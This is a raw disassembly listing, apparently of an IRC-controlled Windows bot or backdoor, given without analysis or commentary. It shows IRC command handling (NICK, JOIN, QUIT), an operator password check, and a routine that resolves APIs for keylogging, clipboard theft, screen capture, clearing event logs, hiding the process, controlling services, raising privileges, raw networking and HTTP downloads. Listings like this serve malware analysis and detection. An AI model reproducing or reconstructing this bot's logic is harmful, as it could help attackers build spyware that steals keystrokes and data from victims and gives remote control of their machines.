		push	offset dword_42A2EC
		push	[ebp+arg_4]
		call	sub_40981C
		push	esi
		push	offset unk_429D20
		jmp	loc_408A7D
; ---------------------------------------------------------------------------


loc_409526:				; CODE XREF: sub_401AC7+3D5Bj
					; sub_401AC7+3D72j
		push	edi
		push	offset dword_42A250
		push	[ebp+arg_4]
		call	sub_40981C
		push	edi
		push	offset unk_429D00
		jmp	loc_408A7D
; ---------------------------------------------------------------------------


loc_40953F:				; CODE XREF: sub_401AC7+3D2Dj
					; sub_401AC7+3D44j
		push	[ebp+esi+var_88]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		push	edi
		push	offset unk_429CE0
		jmp	loc_408954
; ---------------------------------------------------------------------------


loc_40955F:				; CODE XREF: sub_401AC7+3CFFj
					; sub_401AC7+3D16j
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		push	edi
		push	offset unk_429CBC
		jmp	loc_408A7D
; ---------------------------------------------------------------------------


loc_409578:				; CODE XREF: sub_401AC7+3152j
					; sub_401AC7+3169j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429C9C
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415CEE
		push	edi
		call	sub_41BEF9
		add	esp, 1Ch


loc_4095AC:				; CODE XREF: sub_401AC7+7B2Dj
		push	eax
		nop
		call	near ptr 268051Bh


loc_4095B3:				; CODE XREF: sub_401AC7+2A6Fj
		xor	eax, eax
		jmp	loc_401F6F
; ---------------------------------------------------------------------------


loc_4095BA:				; CODE XREF: sub_401AC7+3124j
					; sub_401AC7+313Bj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429C74
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415CEE
		push	edi
		call	sub_41BEF9
		add	esp, 1Ch
		imul	eax, 3E8h
		jmp	short loc_4095AC
; ---------------------------------------------------------------------------


loc_4095F6:				; CODE XREF: sub_401AC7+EA0j
					; sub_401AC7+EB5j
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_429098
		push	eax
		call	sub_40AE77
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_429C50
		call	sub_415D62


loc_409640:				; CODE XREF: sub_401AC7+5206j
		add	esp, 24h


loc_409643:				; CODE XREF: sub_401AC7+63Aj
					; sub_401AC7+646j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401F6F
; ---------------------------------------------------------------------------


loc_40964B:				; CODE XREF: sub_401AC7+A8Dj
					; sub_401AC7+AA0j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_20], esi
		jz	loc_401F6C
		cmp	[ebp+var_A4], ebx
		jnz	loc_401F6C
		push	offset asc_42CDC8 ; "!"
		push	[ebp+var_90]
		call	sub_41C864
		mov	esi, eax
		push	offset word_4C91BC
		push	ebx
		inc	esi
		call	sub_41C864
		push	offset asc_429C4C ; "~"
		push	eax
		call	sub_41C864
		push	[ebp+arg_20]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41C7E0
		add	esp, 20h
		test	eax, eax
		jz	short loc_4096E1
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_40981C
		push	edi
		push	esi
		push	offset unk_429BCC
		jmp	short loc_40973D
; ---------------------------------------------------------------------------


loc_4096E1:				; CODE XREF: sub_401AC7+7BDFj
		mov	[ebp+arg_24], offset off_429160


loc_4096E8:				; CODE XREF: sub_401AC7+7C3Dj
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B706
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409751
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429164
		jl	short loc_4096E8
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_40981C
		push	edi
		push	esi
		push	offset unk_429B78


loc_40973D:				; CODE XREF: sub_401AC7+7C18j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C006
		add	esp, 30h
		jmp	loc_40830C
; ---------------------------------------------------------------------------


loc_409751:				; CODE XREF: sub_401AC7+7C30j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409756:				; CODE XREF: sub_401AC7+7CB9j
		cmp	[ebp+arg_20], ebx
		jz	loc_401F6C
		cmp	[edi], bl
		jnz	short loc_409776
		push	[ebp+arg_20]
		push	offset aCool	; "cool"
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409787


loc_409776:				; CODE XREF: sub_401AC7+7C9Aj
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409756
		jmp	loc_401F6C
; ---------------------------------------------------------------------------


loc_409787:				; CODE XREF: sub_401AC7+7CADj
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E04]
		push	7Fh
		push	eax
		push	esi
		call	sub_41BD70
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4097BE
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429B58
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409862
		add	esp, 14h


loc_4097BE:				; CODE XREF: sub_401AC7+7CDBj
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429B38


loc_4097CA:				; CODE XREF: sub_401AC7+592j
					; sub_401AC7+286Fj ...
		call	sub_415D62


loc_4097CF:				; CODE XREF: sub_401AC7+1B74j
		pop	ecx


loc_4097D0:				; CODE XREF: sub_401AC7+24E7j
		pop	ecx
		jmp	loc_401F6C
; ---------------------------------------------------------------------------


loc_4097D6:				; CODE XREF: sub_401AC7+20Ej
					; sub_401AC7+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40981C
		add	esp, 2Ch
		mov	dword_4C91B4, edi
		jmp	loc_401D64
sub_401AC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40981C	proc near		; CODE XREF: sub_40194F+3Dp
					; sub_401AC7+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41C900
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C9354
		leave
		retn
sub_40981C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409862	proc near		; CODE XREF: sub_401AC7+503p
					; sub_401AC7+1341p ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_40987D
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_40987D:				; CODE XREF: sub_409862+14j
		push	edi
		call	sub_41B960
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41B960
		push	[ebp+arg_8]
		sub	esi, eax
		lea	eax, [ebp+var_400]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41C100
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41C006
		add	esp, 2Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C9354
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_4098FB
		push	7D0h
		nop
		call	near ptr 268051Bh

locret_4098FB:				; CODE XREF: sub_409862+8Cj
		leave
		retn
sub_409862	endp


; =============== S U B	R O U T	I N E =======================================



sub_4098FD	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_4270AC
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270CC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409A1D
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4C93B0, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4C9324, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4C9308, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4C9218, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4C91C4, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4C91F4, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4C926C, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4C9364, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4C93C0, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4C9224, eax
		call	esi
		cmp	dword_4C93B0, ebx
		mov	dword_4C920C, eax
		jz	short loc_4099FB
		cmp	dword_4C9324, ebx
		jz	short loc_4099FB
		cmp	dword_4C9308, ebx
		jz	short loc_4099FB
		cmp	dword_4C9218, ebx
		jz	short loc_4099FB
		cmp	dword_4C91F4, ebx
		jz	short loc_4099FB
		cmp	dword_4C926C, ebx
		jz	short loc_4099FB
		cmp	dword_4C9364, ebx
		jz	short loc_4099FB
		cmp	dword_4C93C0, ebx
		jz	short loc_4099FB
		cmp	dword_4C9224, ebx
		jz	short loc_4099FB
		cmp	eax, ebx
		jnz	short loc_409A05


loc_4099FB:				; CODE XREF: sub_4098FD+B8j
					; sub_4098FD+C0j ...
		mov	dword_4C93C4, 1


loc_409A05:				; CODE XREF: sub_4098FD+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4C933C, eax
		jz	short loc_409A32
		push	1
		push	ebx
		call	eax
		jmp	short loc_409A32
; ---------------------------------------------------------------------------


loc_409A1D:				; CODE XREF: sub_4098FD+1Dj
		nop
		call	near ptr 2680DCDh
		mov	dword_4C93C8, eax
		mov	dword_4C93C4, 1


loc_409A32:				; CODE XREF: sub_4098FD+117j
					; sub_4098FD+11Ej
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26B0C73h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409B47
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4C9360, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4C9310, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4C92A4, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4C93B4, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4C92D4, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4C92F4, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4C9358, eax
		call	esi
		cmp	dword_4C9360, ebx
		mov	dword_4C9244, eax
		jz	short loc_409AEB
		cmp	dword_4C9310, ebx
		jz	short loc_409AEB
		cmp	dword_4C92A4, ebx
		jz	short loc_409AEB
		cmp	dword_4C93B4, ebx
		jz	short loc_409AEB
		cmp	dword_4C92D4, ebx
		jz	short loc_409AEB
		cmp	dword_4C92F4, ebx
		jz	short loc_409AEB
		cmp	dword_4C9358, ebx
		jz	short loc_409AEB
		cmp	eax, ebx
		jnz	short loc_409AF5


loc_409AEB:				; CODE XREF: sub_4098FD+1B8j
					; sub_4098FD+1C0j ...
		mov	dword_4C93CC, 1


loc_409AF5:				; CODE XREF: sub_4098FD+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4C92D0, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4C91D8, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4C92A0, eax
		call	esi
		cmp	dword_4C92D0, ebx
		mov	dword_4C9288, eax
		jz	short loc_409B52
		cmp	dword_4C91D8, ebx
		jz	short loc_409B52
		cmp	dword_4C92A0, ebx
		jz	short loc_409B52
		cmp	eax, ebx
		jnz	short loc_409B5C
		jmp	short loc_409B52
; ---------------------------------------------------------------------------


loc_409B47:				; CODE XREF: sub_4098FD+144j
		nop
		call	near ptr 2680DCDh
		mov	dword_4C93D0, eax


loc_409B52:				; CODE XREF: sub_4098FD+232j
					; sub_4098FD+23Aj ...
		mov	dword_4C93CC, 1


loc_409B5C:				; CODE XREF: sub_4098FD+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D15
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4C9374, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4C92B8, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4C9328, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4C9204, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4C9268, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4C92E0, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4C9284, eax
		call	esi
		cmp	dword_4C9374, ebx
		mov	dword_4C9294, eax
		jz	short loc_409C05
		cmp	dword_4C92B8, ebx
		jz	short loc_409C05
		cmp	dword_4C9328, ebx
		jz	short loc_409C05
		cmp	dword_4C9204, ebx
		jz	short loc_409C05
		cmp	dword_4C9268, ebx
		jz	short loc_409C05
		cmp	dword_4C92E0, ebx
		jnz	short loc_409C0F


loc_409C05:				; CODE XREF: sub_4098FD+2DEj
					; sub_4098FD+2E6j ...
		mov	dword_4C93D4, 1


loc_409C0F:				; CODE XREF: sub_4098FD+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4C92E8, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4C92C0, eax
		call	esi
		cmp	dword_4C92E8, ebx
		mov	dword_4C9370, eax
		jz	short loc_409C4A
		cmp	dword_4C92C0, ebx
		jz	short loc_409C4A
		cmp	eax, ebx
		jnz	short loc_409C54


loc_409C4A:				; CODE XREF: sub_4098FD+33Fj
					; sub_4098FD+347j
		mov	dword_4C93D4, 1


loc_409C54:				; CODE XREF: sub_4098FD+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4C92F8, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4C91E0, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4C91E8, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4C924C, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4C9250, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4C91FC, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4C92C4, eax
		call	esi
		cmp	dword_4C92F8, ebx
		mov	dword_4C91EC, eax
		jz	short loc_409CF8
		cmp	dword_4C91E0, ebx
		jz	short loc_409CF8
		cmp	dword_4C91E8, ebx
		jz	short loc_409CF8
		cmp	dword_4C924C, ebx
		jz	short loc_409CF8
		cmp	dword_4C9250, ebx
		jz	short loc_409CF8
		cmp	dword_4C91FC, ebx
		jz	short loc_409CF8
		cmp	dword_4C92C4, ebx
		jz	short loc_409CF8
		cmp	eax, ebx
		jnz	short loc_409D02


loc_409CF8:				; CODE XREF: sub_4098FD+3C5j
					; sub_4098FD+3CDj ...
		mov	dword_4C93D4, 1


loc_409D02:				; CODE XREF: sub_4098FD+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4C91E4, eax
		jnz	short loc_409D2A
		jmp	short loc_409D20
; ---------------------------------------------------------------------------


loc_409D15:				; CODE XREF: sub_4098FD+26Aj
		nop
		call	near ptr 2680DCDh
		mov	dword_4C93D8, eax


loc_409D20:				; CODE XREF: sub_4098FD+416j
		mov	dword_4C93D4, 1


loc_409D2A:				; CODE XREF: sub_4098FD+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409DF6
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4C92F0, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4C9348, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4C9350, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4C930C, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4C9228, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4C91D4, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4C934C, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4C91C0, eax
		call	esi
		cmp	dword_4C92F0, ebx
		mov	dword_4C9260, eax
		jz	short loc_409E01
		cmp	dword_4C9348, ebx
		jz	short loc_409E01
		cmp	dword_4C9350, ebx
		jz	short loc_409E01
		cmp	dword_4C930C, ebx
		jz	short loc_409E01
		cmp	dword_4C9228, ebx
		jz	short loc_409E01
		cmp	dword_4C91D4, ebx
		jz	short loc_409E01
		cmp	dword_4C934C, ebx
		jz	short loc_409E01
		cmp	dword_4C91C0, ebx
		jz	short loc_409E01
		cmp	eax, ebx
		jnz	short loc_409E0B
		jmp	short loc_409E01
; ---------------------------------------------------------------------------


loc_409DF6:				; CODE XREF: sub_4098FD+438j
		nop
		call	near ptr 2680DCDh
		mov	dword_4C93E0, eax


loc_409E01:				; CODE XREF: sub_4098FD+4B9j
					; sub_4098FD+4C1j ...
		mov	dword_4C93DC, 1


loc_409E0B:				; CODE XREF: sub_4098FD+4F5j
		mov	ebp, dword_4270C8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A0C7
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4C9274, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4C93A8, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4C9214, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4C91F0, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4C92B0, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4C9298, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4C925C, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4C9384, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4C93A0, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4C92AC, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4C9390, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4C9344, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4C9304, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4C9300, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4C9234, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4C922C, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4C9354, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4C9368, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4C931C, eax
		call	esi
		mov	dword_4C92DC, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4C9330, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4C92EC, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4C932C, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4C9398, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4C92E4, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4C92A8, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4C9318, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4C9388, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4C92BC, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4C9258, eax
		call	esi
		cmp	dword_4C9274, ebx
		mov	dword_4C939C, eax
		jz	loc_40A0D2
		cmp	dword_4C93A8, ebx
		jz	loc_40A0D2
		cmp	dword_4C9214, ebx
		jz	loc_40A0D2
		cmp	dword_4C92B0, ebx
		jz	loc_40A0D2
		cmp	dword_4C9298, ebx
		jz	loc_40A0D2
		cmp	dword_4C925C, ebx
		jz	loc_40A0D2
		cmp	dword_4C9384, ebx
		jz	loc_40A0D2
		cmp	dword_4C93A0, ebx
		jz	loc_40A0D2
		cmp	dword_4C92AC, ebx
		jz	loc_40A0D2
		cmp	dword_4C9390, ebx
		jz	loc_40A0D2
		cmp	dword_4C9344, ebx
		jz	loc_40A0D2
		cmp	dword_4C9304, ebx
		jz	loc_40A0D2
		cmp	dword_4C9300, ebx
		jz	loc_40A0D2
		cmp	dword_4C9234, ebx
		jz	short loc_40A0D2
		cmp	dword_4C9354, ebx
		jz	short loc_40A0D2
		cmp	dword_4C9368, ebx
		jz	short loc_40A0D2
		cmp	dword_4C931C, ebx
		jz	short loc_40A0D2
		cmp	dword_4C92DC, ebx
		jz	short loc_40A0D2
		cmp	dword_4C9330, ebx
		jz	short loc_40A0D2
		cmp	dword_4C92EC, ebx
		jz	short loc_40A0D2
		cmp	dword_4C932C, ebx
		jz	short loc_40A0D2
		cmp	dword_4C9398, ebx
		jz	short loc_40A0D2
		cmp	dword_4C92E4, ebx
		jz	short loc_40A0D2
		cmp	dword_4C92A8, ebx
		jz	short loc_40A0D2
		cmp	dword_4C9318, ebx
		jz	short loc_40A0D2
		cmp	dword_4C9388, ebx
		jz	short loc_40A0D2
		cmp	dword_4C92BC, ebx
		jz	short loc_40A0D2
		cmp	eax, ebx
		jnz	short loc_40A0DC
		jmp	short loc_40A0D2
; ---------------------------------------------------------------------------


loc_40A0C7:				; CODE XREF: sub_4098FD+51Fj
		nop
		call	near ptr 2680DCDh
		mov	dword_4C93E8, eax


loc_40A0D2:				; CODE XREF: sub_4098FD+6BEj
					; sub_4098FD+6CAj ...
		mov	dword_4C93E4, 1


loc_40A0DC:				; CODE XREF: sub_4098FD+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A1E1
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4C9240, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4C91C8, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4C92CC, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4C9278, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4C92D8, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4C929C, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4C9208, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4C9200, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4C9210, eax
		call	esi
		cmp	dword_4C9240, ebx
		mov	ecx, dword_4C929C
		mov	dword_4C9338, eax
		jz	short loc_40A1BD
		cmp	dword_4C91C8, ebx
		jz	short loc_40A1BD
		cmp	dword_4C92CC, ebx
		jz	short loc_40A1BD
		cmp	dword_4C9278, ebx
		jz	short loc_40A1BD
		cmp	dword_4C92D8, ebx
		jz	short loc_40A1BD
		cmp	ecx, ebx
		jz	short loc_40A1BD
		cmp	dword_4C9208, ebx
		jz	short loc_40A1BD
		cmp	dword_4C9200, ebx
		jz	short loc_40A1BD
		cmp	dword_4C9210, ebx
		jz	short loc_40A1BD
		cmp	eax, ebx
		jnz	short loc_40A1C7


loc_40A1BD:				; CODE XREF: sub_4098FD+87Ej
					; sub_4098FD+886j ...
		mov	dword_4C93EC, 1


loc_40A1C7:				; CODE XREF: sub_4098FD+8BEj
		cmp	ecx, ebx
		jz	short loc_40A1FC
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4C92B4, eax
		jnz	short loc_40A1FC
		jmp	short loc_40A1F6
; ---------------------------------------------------------------------------


loc_40A1E1:				; CODE XREF: sub_4098FD+7EAj
		nop
		call	near ptr 2680DCDh
		mov	dword_4C93F0, eax
		mov	dword_4C93EC, 1


loc_40A1F6:				; CODE XREF: sub_4098FD+8E2j
		mov	dword_4C92B4, ebx


loc_40A1FC:				; CODE XREF: sub_4098FD+8CCj
					; sub_4098FD+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A246
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4C928C, eax
		call	esi
